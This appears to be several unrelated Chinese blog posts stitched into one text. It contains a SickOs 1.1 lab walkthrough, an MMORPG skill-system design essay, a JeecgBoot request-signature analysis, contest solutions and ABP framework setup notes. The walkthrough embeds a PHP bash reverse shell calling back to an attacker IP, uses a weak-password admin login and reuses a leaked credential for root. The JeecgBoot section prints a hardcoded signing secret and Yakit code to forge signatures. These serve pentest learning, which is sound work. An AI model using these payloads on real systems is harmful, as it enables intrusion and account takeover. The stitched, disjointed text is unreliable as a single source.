2024年11月

Sickos1.1 详细靶机思路 实操笔记

免责声明

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。

前言

这台靶机比较简单,有一定经验的师傅们建议可以直接盲打,如果遇到走不通的话再看网上的各种分享,主要可能想不到的点在squid代理服务,通过查询相关资料能得知我们通过配置代理就能突破这个点

下载靶机
靶机链接
SickOs: 1.1 ~ VulnHub
下来后导入到vmware里面

右键vm靶机栏 打开靶机的.ovf文件

Nmap信息收集

主机发现:

sudo nmap -sn 192.168.236.128/24

开启靶机后能找到133这台机器,就是我们要打的靶机

TCP扫描

sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133

拿到了这三个端口22,3128,8080 对应的端口分别为ssh squid-http http-proxy

详细端口扫描

nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133

给出了更详细的信息,如服务版本号,主机型号等

nmap默认漏洞脚本扫描

nmap --script=vuln -oA sickos_script p22,8080,3128 192.168.236.133

没有什么发现,nmap没有给出利用路径

web渗透

攻击面分析

我们知道了3128开放的是一个squid代理服务,版本为3.1.19,如下直接访问没有给什么东西

8080端口关闭,是一个http-proxy 可能是什么代理之类的服务,直接去访问是拒绝连接

22端口ssh远程连接我们可以尝试去空密码连接,但可能性不大,如果在我们去寻找凭据实在走不下去了可以去尝试一下

squid代理

先去搜索一下squid服务

Squid代理服务器
Squid主要提供缓存加速、应用层过滤控制、web服务隐藏真实IP(安全性)的功能。
1、代理的工作机制
代替客户机向网站请求数据,从而可以隐藏用户的真实IP地址。
将获得的网页数据(静态 Web 元素)保存到缓存中并发送给客户机,以便下次请求相同的数据时快速响应。
2、代理的类型
传统代理:

适用于Internet,需在客户机指定代理服务器的地址和端口。
透明代理:

客户机不需指定代理服务器的地址和端口,而是通过默认路由、防火墙策略将Web访问重定向给代理服务器处理。
反向代理:

如果 Squid 反向代理服务器中缓存了该请求的资源,则将该请求的资源直接返回给客户端;否则反向代理服务器将向后台的 WEB 服务器请求资源,然后将请求的应答返回给客户端,同时也将该应答缓存(静态)在本地,供下一个请求者使用。

靶机的squid跑在3128端口上,应该指定的代理服务器端口就为3128,在浏览器上设置一下proxy

设置好后发现直接访问靶机ip可以通,给了一个BLEHHH!!! 这是一个俚语

既然可以通那就爆破一下目录吧

指定一下代理

dirb http://192.168.236.133/ -p http://192.168.236.133:3128/

+ http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291)                                                                                                     
+ http://192.168.236.133/connect (CODE:200|SIZE:109)                                                                                                      
+ http://192.168.236.133/index (CODE:200|SIZE:21)                                                                                                         
+ http://192.168.236.133/index.php (CODE:200|SIZE:21)                                                                                                     
+ http://192.168.236.133/robots (CODE:200|SIZE:45)                                                                                                        
+ http://192.168.236.133/robots.txt (CODE:200|SIZE:45)                                                                                            
+ http://192.168.236.133/server-status (CODE:403|SIZE:296)  

先访问最感兴趣的index.php

其实就是之前的BLEHHHH!!

其他的目录扫了一眼,/connect里面是一个脚本,没什么用大概就是说 你可能想要尝试(利用)我的服务

/server-status 403forbidden无法访问

#!/usr/bin/python

print("I Try to connect things very frequently")
print("You may want to try my services")

robots.txt :

给了一个Dissalow:/wolfcms,尝试一下访问这个路由,尝试访问发现真的有

点了一圈没有什么发现,网页都是一些静态资源,去网上搜索一下wolfcms有没有什么框架漏洞

Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit

这里发现一个长得很像登陆界面的url

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

确实跳转到了一个登录页

弱密码U/P:admin admin进入wolfcms的后台

反向连接shell

在登录wolfcms后台之后随便点点,发现有很多代码执行和文件上传的位置,比如Home Page里面就可以填写php代码

在Articles中嵌入

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");?>

来分析一下这个反向连接shell

exec()
php的内置函数,用于执行外部程序 基础语法:exec(command,output,return_var) (命令,存储命令的输出,返回状态码)

/bin/bash
Linux系统中的Bash shell的路径 /bin/bash是Bash shell的可执行文件

-c
这是Bash的一个选项,表示后面跟着的字符串会被当作一个命令来执行

'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'
这个字符串是传递给Bash的命令。我们再进一步解析:

bash -i

bash
:启动一个新的Bash shell。
-i
:表示以交互模式运行Bash shell。

>&
:这是一个重定向操作符,用于将标准输出(stdout)和标准错误(stderr)合并并重定向到指定的目标。

/dev/tcp/192.168.236.128/443
:这是一个特殊的文件描述符,表示通过TCP协议连接到IP地址为
192.168.236.128
的主机,端口为
443

0>&1

0
:表示标准输入(stdin)。

>&1
:表示将标准输入(stdin)重定向到标准输出(stdout)的文件描述符。

嵌入,保存后在kali上开启监听

sudo nc -lvnp 443

再去访问Artical 反弹shell成功

提权

信息收集

先看一下得到的权限能干什么,有什么权限,在这个权限下能看到的文件等信息,这里我建议最好把整个shell的所有能访问到的东西都先浏览一遍,把他的文件结构都搞清楚,要知道他有没有什么可以访问的配置文件config等,/etc/passwd这种重要的目录也要去尝试一下有没有权限打开,里面是否有我们感兴趣的内容

whoami

可以看到现在的用户是www-data

尝试访问/etc/passwd 发现root和sickos这两个账户是拥有bash环境的,而我们所在的www-data是没有的,所以如果我们找到凭据应该优先尝试这两个账户。

ls -alh

能看到有一个config.php配置文件 ,得到了一个凭据john@123 这里还给了一个mysql的用户名,但是这个机器没开3389,没有实际意义 ,得到的这个凭据,可以结合上面得到的两个账号,尝试一下ssh连接,如果可以就成功提权了

<?php 

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);

// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);

// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);

// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');

// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);

// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);

// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');

// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);

// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');

// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');

// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);

// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);

// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800);  // 30 minutes

// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);

// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);

// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds

// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);

// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link) 
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900);  // 15 minutes

看到别人的博客,还找到了这个路径下的配置文件

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php

里面有一个密码

但实际好像并没有什么用处

ssh

尝试
sickos root
john@123 pawpsw123
这一组凭据

这一组可以连接

ssh sickos@192.168.236.133

john@123

sudo -l查看一下拿到的shell的权限

有sudo权限,可以运行任何命令(ALL:ALL) 也就是可以用sudo命令提升到root权限

那就直接切换root用户

sudo /bin/bash

成功提权,root目录下有flag

成功通关sickos

导语:

表现丰富、机制多变的技能作为MMORPG游戏战斗体验的核心组成部分,是吸引玩家的一大亮点,本文总结了在MMORPG技能系统设计上的一些经验,供大家参考。

1、设计思路

早期的MMORPG手游中,技能的表现相对简单,因此技能流程被分为几个固定的阶段(如准备阶段、攻击阶段、受击阶段),可以实现成一个简单的由服务器消息驱动的状态机,策划只需要配置一下切换状态的条件和不同状态的表现(特效、动画、音效等)。这种方式实现比较简单,但由于流程固化,对于实现机制复杂的技能时,往往需要进行编码实现,效率不高。因此一个好的技能系统应该是由数据驱动的,能让策划能自由组合配置。

当前数据驱动的技能系统的有以下几个例子:

1.1 Dota2技能系统

Dota2技能系统定义了Event、Action、Modifier等技能行为,由策划配置Key-Value的Json或Lua来自由组合,游戏运行时会将策划配置的文件解析成技能树。这种实现可以通过Key进行复用,但是当策划定义的Key数量过多时,学习成本将会比较高,而且技能流是文本型,不易于理解技能流程。

1.2 守望先锋技能系统

守望先锋使用暴雪的脚本系统Statescript来实现技能系统。Statescript是一个可视化的脚本语言;每一个脚本都是一组互相连接的节点(node)形成的图(graph),代表了一段游戏逻辑的实现。当一个脚本运行时,它会创建一个运行时对象,这里称之为脚本实例(instance),每一个实例都被一个实体(entity)所拥有。实体上的脚本实例可以被动态地添加和删除,同一个实体上可以同时运行同一个脚本的多个实例。

如上图所示,Statescript节点包括入口(Entry)、条件(Condition)、动作(Aciton)、状态(State),由程序员来实现这些具体的Action或State,然后策划就可以使用Statescript来自由组合自己想要的技能。

可以看出Statescript其实并不是单独为了技能实现的,而是一个通用的脚本系统,只要提供的节点类型足够多的话,策划可以用来实现很多逻辑。这对于策划对各种节点的熟悉程度和编程能力有一定的要求。

1.3 UE4 Gameplay Ability System

UE4 GAS是官方提供的依赖UE4 Gameplay框架的一个技能系统。基本构成如下:

1. Ability SystemComponent:技能运行时组件,控制技能的运行和相关属性的改变;

2. Ability:技能,通过蓝图配置技能实例,包含较完整的技能逻辑,运行时可以动态地添加给角色的技能系统,或从技能系统中删除;

3. Attribute和AttributeSet,属性和属性集。Attribute代表角色的某种属性,如血量、能量等,属性集表示一组属性的集合;

4. Tags,标签,代表了某种状态。通过不同的Tag来表示角色当前的状态,如燃烧、虚弱等,类似角色身上的Buff;

5. Gameplay Effect,技能效果,表示对某些Attribute和Tag的修改,例如一个火球术造成的GE可以是造成血量减50,同时将角色变成燃烧状态;

6. Ability Tast,技能任务,表示技能过程中要执行的一个逻辑,例如播放动作等。

GAS系统也可以通过实现特定的Task和Effect,然后由策划自由组合,由于蓝图编辑器的可视化,可以清晰地看出技能的流程。

1.4 MMORPG技能系统的特点

以上列举了三种优秀的数据驱动的技能系统的实现方案,通过对技能基础组成部分的抽象来实现技能流程的原子化,并基于此提供了自由组合、数据驱动的能力,大大提高了策划开发新技能的效率和自由度。上述三个技能方案来源于MOBA和射击游戏,这类游戏技能成长性相对简单。但是对于MMORPG游戏而言,技能数值的成长性也是技能系统的重要组成部分,因此在数据驱动、自由组合的设计原则上,技能成长数值的配置的便捷性也需要考虑进去。

2、MMORPG技能系统分析

明确了数据驱动的设计思路后,首先需要分析下技能数据的组成。对于成长性的技能数值,例如不同等级伤害不同,我们可以继续按照数值策划的习惯,将它们保留在Excel里。而对于相同的技能,不管多少级,技能的流程和机制是一样的,这一部分我们就可以参考上述例子,将技能流程进行抽象,并交给策划自由组合搭配。

2.1 技能流程抽象

一般MMORPG游戏的技能可以定义为通过特定的规则修改技能选点/目标后,执行技能表现并结算技能效果,流程可以总结如下:

以一个常见的火球术为例,代入到上述流程图,技能过程可以描述为玩家释放技能时,首先检测目标是否在射程范围内,如果在范围内,且未被打断,则开始播放施法动画并朝目标发射火球,火球命中目标后,进行伤害结算,并播放目标的受击表现。

将技能流程进一步抽象,可以得到三种类型的流程节点:

1. 规则类型:例如选目标规则、结算规则、条件判断等

2. 流程类型:分支流程、并行流程、循环流程等

3. 表现类型:动作、音效、特效等

类似第一部分的三个例子,可以由开发实现不同Action或Task,交由策划自由组合,即可实现技能流程的数据驱动。但是这里如何确定抽象粒度呢?对于程序来说,将这些节点全部原子化的话,是最简单的,类似UE的GAS的设计思路,可以设计很多的Task,例如播放蒙太奇、播放特效等,搭配上很多的Effect,那功能就足够强大足够灵活。这样带来的一个问题就是,当节点实现的功能足够细的情况下,对于大致相同的技能流程,会出现“一千个读者心中有一千个哈姆雷特”的情况(如果大家的项目使用过UE蓝图进行开发,就能大致理解),也就是不同的策划完全能组合出看起来完全不同的流程图,这样既不方便学习,也不方便调试。因此我们尝试从业务层上进行抽象,抽象的原则是理解直观,学习门槛低,且类型可收敛。

回到上面的流程图,我们和策划一起梳理了我们已经上线的一个MMORPG项目现存的几百个技能,从业务侧总结出了这样的一组节点:

我们将节点分为入口、同步、流程控制和表现等几个类型。开始节点里的配置内容主要是技能的一些释放条件;请求节点比较特殊,里面配置的是选点/选目标逻辑和结算效果,主控客户端会计算选点/选目标结果,同步后服务端会进行校验和结算,然后广播结算结果;流程控制节点里配置的是判断技能流程走向的条件;表现节点里配置动画、特效等表现数据。

这一类策划易于理解的业务节点实际上是由一系列的原子化功能的组合,例如在动作节点里,除了动画配置外,还会有特效、音效、震屏等表现的配置。这样抽象的话,不仅可以收敛类型,还可以保证对于相同机制的技能,不同策划配置出来的流程图基本一致,开发调试的时候也易于理解这个技能的整体流程(对于如何确定抽象粒度,其实每个项目组都有各自的取舍,这里并没有一个通用的标准,只是看是否适合当前项目)。例如一个火球术就可以表现为:

第一个请求节点通知服务端技能开始了,主控端开始预表现,服务端校验目标合法性并广播,收到消息的客户端执行后续动作和弹道表现,主控端弹道终点会再次通知服务端,服务端结算并广播结算结果。

至此我们可以确定一个技能数据分为技能表里的成长性数值数据加上技能蓝图数据,技能表里一个技能可以索引一个技能蓝图配置(多对一,例如不同等级的火球术索引同一个技能蓝图)。对于抽象出来的节点,我们使用protobuf定义,并保存成Json文件,运行时通过技能ID索引到对应的技能蓝图来构造一棵树,并根据服务器同步的动态数据来Tick这棵树的执行。除了配置好的静态数据之外,技能运行时过程中会产生目标、选点等动态数据。我们的请求节点客户端侧的主要工作是同步这些发生变化的动态数据(这里称为技能上下文),客户端在每个请求节点收到服务端广播的上下文变更后,后续的表现节点就会基于新的上下文进行表现。

2.2 技能运行时设计

技能运行时我们采用了类似GAS的设计,核心是角色身上挂载的技能组件。技能组件负责维护技能实例,并管理技能实例的生命周期。

技能运行时针对上述抽象出来的每个技能流程节点,实现了一个对应的运行时SkillAction。这些Action的创建由服务器同步的技能上下文来驱动创建。前一节简单介绍了上下文的概念,它包含了经过服务器验证的动态数据,如新选点、新目标、结算效果等。客户端收到一个新的上下文后,会创建一个Action组,每个Action组维护该上下文后续表现节点的运行。一个技能如果有多个请求同步节点的话,会创建多段上下文,每个上下文驱动它后续节点的运行。

技能的同步发生于技能流程的请求节点处,一般需要同步的原因是动态数据的变更。例如一个弹射技能,在多个目标间弹射时会发生多次目标变更,这就需要多次同步。同步方式是主控端发起并预表现,服务器校验并广播,主控端收到经校验的数据后会进行修正,模拟客户端收到广播包后进行后续表现。

为了主控客户端的体验,技能开始后,会预测下一次同步时间,并在下次同步点之前发送同步包,保证收到服务器回包时刚好执行到同步点可以无缝执行后续逻辑。弱网环境下走到同步点未收到同步包的情况下,会预表现动画、特效等,收到回包后会对预表现进行修正:若服务器同步数据和当前一致,则继续当前表现;若不一致,例如预表现的位移和服务器下发的不同,在阈值范围内,根据时间戳向新位置加速插值表现,超过阈值的话则直接拉到新位置,防止和服务器位置差距过大。这个预发包的方式是在客户端实现了个技能中间层,主要功能是转发上下行的技能包,并预测下一个同步时间。

技能的结算部分被抽象成效果,效果ID表示效果的功能(如修改属性、增删Buff等),一个效果里可以配置参数、条件、概率等,且可以被技能、Buff等多个数值系统复用。

3、工具链支持

确定了技能数据和运行时结构后,就需要提供配套的工具链支持:一个方便易用的技能编辑器。对于不同的使用者,对编辑器的要求是不一样的:

1. 对于策划/美术:编辑器需要易于配置,即改即用,因此我们需要提供一个易于上手和使用的配置界面,且需要热更新功能;

2. 对于开发:针对技能系统出现的bug,需要能迅速定位问题,因此我们需要提供运行时流程可视化和网络消息日志功能。

3.1 技能编辑器介绍

我们项目经历过换引擎的过程,在Unity上,我们开发了基于GraphView节点编辑器的技能配置界面,转到UE4后,使用蓝图的底层框架UEdGraph将这个配置界面移植了过来,如上图所示。这个编辑器左边展示了技能的基础信息,上面是技能关联的Excel表格信息预览,中间是节点配置界面,右侧是选中某个节点后的详情配置面板。

策划在可以选择基于一个已有的技能模板或者新建一个技能蓝图,进行技能流程的配置。当策划只想预览技这个技能的动画、特效等客户端表现时,可以使用离线预览模式,直接在编辑器中看技能的表现效果。

如果策划想看游戏中的实时表现,也可以在PIE运行模式下登录到服务器,修改完成后将当前技能配置热更新到服务器,同时替换当前游戏内存,并装配到主角或者目标,然后就可以实时地预览游戏内效果,不仅包含了技能表现,也包含了结算等数值结果。同时打开技能编辑器的调试信息开关,还可以绘制出技能结算的碰撞检测范围和技能位移路径,将选点、结算范围、路径等数据可视化,让策划一眼看出技能配置是否符合预期


另外,我们还提供了技能流程的可视化能力,当绑定到施法角色时,技能运行过程中会高亮当前正在执行的技能节点,同时将客户端和服务端通信的网络消息日志打印出来,可以帮助开发快速定位技能bug。

3.2 工具开发总结

工具开发对于提高效率的帮助是巨大的。对于一个设计好的数据驱动的系统,虽然新功能的开发可以完全交给策划去配置验证,但是如果配置完的数据需要重新启动加载,重新走登录流程看效果,那么调试的成本会非常高。方便快捷的热更新功能和游戏内可视化能力,对于技能系统这样的实时模块而言重要性不言而喻。在新项目中应用的这一套技能制作管线,对比我们项目组已上线的一款MMORPG手游中传统的技能制作方式,效率有了数量级的提升。

四、总结

对于Gameplay程序员而言,如何将策划的需求抽象成一个数据驱动的系统,并配套开发相应的制作管线,将成为一种核心能力。

零、前言

在web界面登陆时,小程序和app传输数据时经常会碰到签名,会对请求的参数进行签名,如果自己修改了数据包就会校验失败非常麻烦。

本文编写的契机就是因为碰到了一个JeecgBoot的小程序, 想请求信息泄露的url但是显示“Sign签名校验失败”,让我非常无语,到手的漏洞飞了。所以打算研究一下签名,本文讲的是md5签名,以后再研究研究aes加密传输数据啥的。

一、环境准备

本文测试环境为JeecgBoot,代码链接:
jeecgboot/Github

环境配置链接:
IDEA启动项目 - JeecgBoot 文档中心

配置好依赖和数据库后启动后端:org.jeecg.JeecgSystemApplication

启动Vue3前端,点击dev,Jeecg启动!

二、阅读代码(后端)

关于签名函数的位置我不太会定位,是通过网络搜索找到的。

最终定位到
SignAuthConfiguration

SignAuthInterceptor

SignUtil
等类。

1. SignAuthConfiguration

SignAuthConfiguration关键代码

boolean isSigned = SignUtil.verifySign(allParams,headerSign);

if (isSigned) {
    log.debug("Sign 签名通过!Header Sign : {}",headerSign);
    return true;
}

调用了verifySign进行校验签名,如果isSigned为true,签名通过。

2. SignUtil.verifySign

SignUtil.verifySign代码

public static boolean verifySign(SortedMap<String, String> params,String headerSign) {
    if (params == null || StringUtils.isEmpty(headerSign)) {
        return false;
    }
    // 把参数加密
    String paramsSign = getParamsSign(params);
    log.info("Param Sign : {}", paramsSign);
    return !StringUtils.isEmpty(paramsSign) && headerSign.equals(paramsSign);
}

经过调试得出params的内容是get和post请求参数的总和:

调用了getParamsSign来进行校验签名。

3. SignUtil.getParamsSign

SignUtil.getParamsSign关键代码

String signatureSecret = jeecgBaseConfig.getSignatureSecret();
return DigestUtils.md5DigestAsHex((paramsJsonStr + signatureSecret).getBytes("UTF-8")).toUpperCase();

对http请求参数paramsJsonStr加上signatureSecret的值,进行md5运算,最后对md5值大写处理。

signatureSecret的值在
org/jeecg/config/JeecgBaseConfig.java
里:
dd05f1c54d63749eda95f9fa6d49v442a

4. 最后

getParamsSign返回签名计算后的数据,verifySign对后端计算的sign和http请求头的X-Sign进行比较,如果相同则sngn校验通过,返回true。

实践一下

获取验证码处抓包,清除掉多余请求头。

POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: 1478A8A6639F1495342C603DC05BAEB7
X-TIMESTAMP: 1732282707313
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}

处理后,可以看到和X-Sign值一样。

所以JeecgBoot的签名逻辑就是把请求内容加上密钥,然后再进行md5计算,最后大写字符,就得到了X-Sign字符。

三、阅读代码(前端)

打开开发者工具,全局搜索secret,可以看到签名密钥

const signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a';

文件位置:/src/utils/encryption/signMd5Utils.js

在signMd5Utils.js的第43行可以看到签名逻辑

return md5(JSON.stringify(requestBody) + signatureSecret).toUpperCase();

调试后可以看出签名逻辑和后端一样,都是将请求内容加上密钥,然后md5再大写处理。

四、关于参数顺序的问题

上面只测试了POST请求体的参数,如果通过url传参该怎么加密呢?

这里通过后端调试可以看出,参数是按照(数字,大写字母,小写字母)的顺序来排序的。

URL的参数为:
1papam=0&Zparam=1&aparam=2&nparam=3

请求体为:
{"mobile":"13066668888","smsmode":"1"}

最终整合成json,得到的数据为:

{"1papam":"0","Zparam":"1","aparam":"2","mobile":"13066668888","nparam":"3","smsmode":"1"}

请求

后端log:
log.info("Param paramsJsonStr : {}", paramsJsonStr)

五、Yak

随便写了点yakit的热加载代码,现在才知道yaklang功能很强大,但还是不太熟练,所以实战用处不大。

func sign(mobile) {
    return codec.Md5(f`{"mobile":"${mobile}","smsmode":"1"}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}
func sign(param) {
    return codec.Md5(f`${param}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}

POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: {{yak(sign|{"mobile":"13066668888","smsmode":"1"})}}
X-TIMESTAMP: {{timestamp(ms)}}
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}

六、参考文章

jeecg 请求url签名_signauthconfiguration

渗透测试高级技巧:分析验签与前端加密

Fuzz Tag Playbook (yaklang.io)

热加载 (yaklang.io)

牛客小白月赛105 (Python题解)

比赛链接:
点击传送

A-lz的吃饭问题

代码:

a, b = map(int,input().split())
c, d = map(int,input().split())
print("gzy") if a*b >= c*d else print("lz")

B-lz的数字问题

代码:

def func(a1, b1):  
    a_int, a_frac = (a1 + '.0').split('.')[:2]  
    b_int, b_frac = (b1 + '.0').split('.')[:2]  
    if a_int != b_int: return "NO"  
    a_frac = (a_frac + "000000")[:6]  
    b_frac = (b_frac + "000000")[:6]  
    return "YES" if a_frac == b_frac else "NO"  
a, b = input().split()  
print(func(a, b))

C-lz的蛋挞问题

1.问题重述:

1.1.
背景
:

​ 一个两行 n 列的盒子中有两种物品:蛋挞(
.
)和奶贝(
x
),蛋挞之间如果在上下左右四个方向相邻,就可以连通,连通块是指一组可以相互连通的蛋挞。

1.2.要求:

​ 可以吃掉一个蛋挞,并在原位置放置奶贝,找出吃掉后能改变蛋挞连通块数量的蛋挞个数。

2.求解思路:

2.1.核心思路:

  • 遍历每个蛋挞位置

  • 判断吃掉该蛋挞是否会改变连通块数量

  • 设计4种判断条件

2.2.四种判断条件详解:

  1. 左侧连通性改变

    j > 0 and m[i][j] == m[1-i][j] == m[i][j-1] != m[1-i][j-1] 
    

    ​ 检查左侧相邻蛋挞是否形成特定连通模式,同行和对行的蛋挞值相同,与左下/左上蛋挞值不同

  2. 右侧连通性改变

    j + 1 < n and m[i][j] == m[1-i][j] == m[i][j+1] != m[1-i][j+1]  
    

    ​ 检查右侧相邻蛋挞是否形成特定连通模式,同行和对行的蛋挞值相同,与右下/右上蛋挞值不同

  3. 三连通情况

    j > 0 and j + 1 < n and m[i][j-1:j+2] == '.' * 3 and m[1-i][j] == 'x'  
    

    ​ 当前行有连续三个蛋挞,对应行为奶贝

  4. 孤立点情况

    (j == 0 or m[i][j-1] == 'x') and (j + 1 == n or m[i][j+1] == 'x') and m[1-i][j] == 'x'  
    

    ​ 当前蛋挞左右被奶贝包围,对应行为奶贝

3.代码:

n = int(input())
m = [input() for _ in range(2)]
ans = 0
for i in range(2):
    for j in range(n):
        if m[i][j] == 'x':
            continue
        conditions = [
	j > 0 and m[i][j] == m[1-i][j] == m[i][j-1] != m[1-i][j-1],
	j + 1 < n and m[i][j] == m[1-i][j] == m[i][j+1] != m[1-i][j+1],
	j > 0 and j + 1 < n and m[i][j-1:j+2] == '.' * 3 and m[1-i][j] == 'x',
	(j == 0 or m[i][j-1] == 'x') and (j + 1 == n or m[i][j+1] == 'x') and m[1-i][j] == 'x'
        ]#四种判断条件
        ans += any(conditions)
print(ans)

D-lz的染色问题

1.问题重述:

1.1.
背景
:

​ 花园包含 n 朵花,每朵花有自己的颜色,在接下来的 m 天里,每天观察两朵花,如果观察的两朵花颜色不同,lz会生气。

1.2.要求:

​ 需要选择最少数量的花进行重新染色,让 lz 在 m 天观察中不会生气

2.求解思路:

2.1.核心思路:

  • 使用并查集将需要颜色相同的花分组

  • 对每个连通分量,找出出现最多的颜色

  • 计算需要染色的花的数量

2.2.详细解题步骤:

  1. 初始化并查集

    ​ 将需要颜色相同的花合并到同一个集合

  2. 分组统计

    ​ 找出每个连通分量的根节点,将同一连通分量的花分到同一组

  3. 计算最小染色数

    ​ 对每个连通分量,统计出现最多的颜色数量,用连通分量的总花数减去最多颜色的数量,得到需要染色的最少花数

3.代码:

class UnionFind:
    def __init__(self, n):
        self.far = list(range(n + 1))
        self.rank = [0] * (n + 1)
    def find(self, x):
        if self.far[x] == x:
            return x
        self.far[x] = self.find(self.far[x])
        return self.far[x]
    def unite(self, x, y):
        x = self.find(x)
        y = self.find(y)
        if x == y:
            return
        if self.rank[x] > self.rank[y]:
            self.far[y] = x
        else:
            self.far[x] = y
            if self.rank[x] == self.rank[y]:
                self.rank[y] += 1
def main():
    n, m = map(int, input().split())
    uf = UnionFind(n)
    c = [0] + list(map(int, input().split()))# 读取颜色
    a = []
    for _ in range(m):# 处理边的连接  
        x, y = map(int, input().split())
        uf.unite(x, y)
        a.extend([x, y])
    cnt = 0
    mp = {}
    G = {}
    for x in a:
        root = uf.find(x)
        if root not in mp:
            cnt += 1
            mp[root] = cnt
        if mp[root] not in G:
            G[mp[root]] = set()
        G[mp[root]].add(x)
    ans = 0
    for i in range(1, cnt + 1):
        s = {}
        ma = 0
        for x in G[i]:
            s[c[x]] = s.get(c[x], 0) + 1
            ma = max(ma, s[c[x]])
        ans += len(G[i]) - ma
    print(ans)
main()

E- lz的括号问题

1.问题重述:

1.1.
背景
:

​ 给定一个由
n
对括号组成的字符串,字符串仅由字符
(

)
组成。每对括号需要按照出现的顺序进行编号。

1.2.要求:

​ 计算每对括号在删除之前最多可以删除多少对括号。如果字符串中的括号无法完全匹配,则输出
-1

2.求解思路:

​ 使用一个计数器
len_
来跟踪当前的括号深度。每遇到一个
(
,计数器加一;每遇到一个
)
,计数器减一。如果
len_
变为负值,说明有多余的
)
,此时输出
-1
并结束程序。若
len_
不为零,说明括号没有完全匹配,输出
-1

​ 用一个列表
l
来存储每个
(
的编号。每当遇到一个
(
时,将当前的深度记录到列表中。使用
n - len_
来表示当前括号可以在删除之前删除的对数。

3.代码:

n = int(input())  
s = input().strip()  
l = []  
len_ = 0  
for i in s:  
    len_ += 1 if i == "(" else -1  
    if len_ < 0:  
        print(-1)  
        exit()  
    if i == "(":  
        l.append(n - len_)  
print(" ".join(map(str, l)))

祝ACCCCCCC...

前言

  • 之前有提供免费开源的基于vben2.8版本的abp vnext pro版本
    abp vnext pro vben admin 2.8
  • vben2.8作者已经重构一个版本,命名为vben5,而vben2.x 目前已存档,仅进行重大问题修复。所以abp vnext pro vue版本前端也重新升级。
  • 新版本(vben5)与旧版本(vben2.8)不兼容。
  • 相对于vben2.8版本,vben5集成了国内最新的最新技术栈,开发起来更加丝滑。

链接

系统功能
















快速开始

前置准备

::: info 环境要求
在启动项目前,你需要确保你的环境满足以下要求:

:::

后端

安装 CLI 工具

dotnet tool install Lion.AbpPro.Cli -g

更新 CLI 工具

dotnet tool update Lion.AbpPro.Cli -g

创建项目

lion.abp new -t pro -c 公司名称 -p 项目名称  -o 输出路径(可选)
lion.abp new -t pro.all -c 公司名称 -p 项目名称  -o 输出路径(可选)
lion.abp new -t pro.module -c 公司名称 -p 项目名称  -m 模块名称  -o 输出路径(可选)

::: danger 注意
VS 编译项目字符串超过 256 个字符,把项目拷贝到磁盘根目录 OR 使用 Rider 开发
:::

修改配置

  • 修改service下 xxx.HttpApi.Host-> appsettings.Development.json 配置
    • Mysql 连接字符串
    • Redis 连接字符串
    • RabbitMQ 连接字符串(可选)
  "ConnectionStrings": {
    "Default": "Data Source=localhost;Port=3306;Database=LionAbpProDB;uid=root;pwd=1q2w3E*;charset=utf8mb4;Allow User Variables=true;AllowLoadLocalInfile=true"
  },
  "Redis": {
    "Configuration": "localhost:6379,password=1q2w3E*,defaultdatabase=5"
  },
  "Cap": {
    "Enabled": true,
    "RabbitMq": {
      "HostName": "localhost",
      "UserName": "admin",
      "Password": "1q2w3E*",
      "Port": 5672
    }
  }  
